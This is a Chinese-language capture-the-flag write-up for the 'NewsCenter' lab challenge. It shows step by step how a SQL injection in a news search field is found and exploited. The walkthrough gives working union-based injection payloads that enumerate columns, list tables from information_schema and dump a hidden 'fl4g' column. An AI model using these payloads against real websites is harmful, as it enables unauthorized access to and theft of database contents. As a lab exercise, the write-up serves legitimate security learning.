攻防世界-NewsCenter题
首先,进入靶场网站,发现是一个News界面,并且界面存在一个搜索入口,此时的第一感觉就是,这道题应该是一道sql注入的题目(后来发现确实是这样)
在搜索框输入一系列数字或字母进行搜索,可搜索出来一些News:
打开HackBar,在POST请求值处的字符串末尾输入单引号,尝试是否能发生单引号闭合:
发现请求的返回值为500,则说明该请求在服务器的数据库中发生了单引号闭合,导致数据库查询失败,这时已经可以实锤本题为数据库注入的题目了。
首先,通过order语句,判断查询的数据库的列数:
search=' order by 1 -- -
search=' order by 2 -- -
search=' order by 3 -- -
search=' order by 4 -- -
当执行上述第四条语句时,发现出现响应值为500的报错,则说明当前数据库只有3列。继续查询,查看数据库与当前页面显示的接口:
search=' union select 11,22,33-- -
扫描二维码关注公众号,回复:
13211871 查看本文章
可以看到第二列和第三列存在回显
继续查询数据库名字和数据库的表名:
search=' union select 11,table_schema, table_name from information_schema.tables-- -
可以看到存在一个表名为secret_table,继续查询该表的属性值:
search=' union select 11,column_name, table_name from information_schema.columns where table_schema = "news" and table_name = "secret_table" -- -
可以查到存在名为fl4g的列,查询列的内容:
search=' union select 11,id, fl4g from news.secret_table -- -
成功得到flag的值!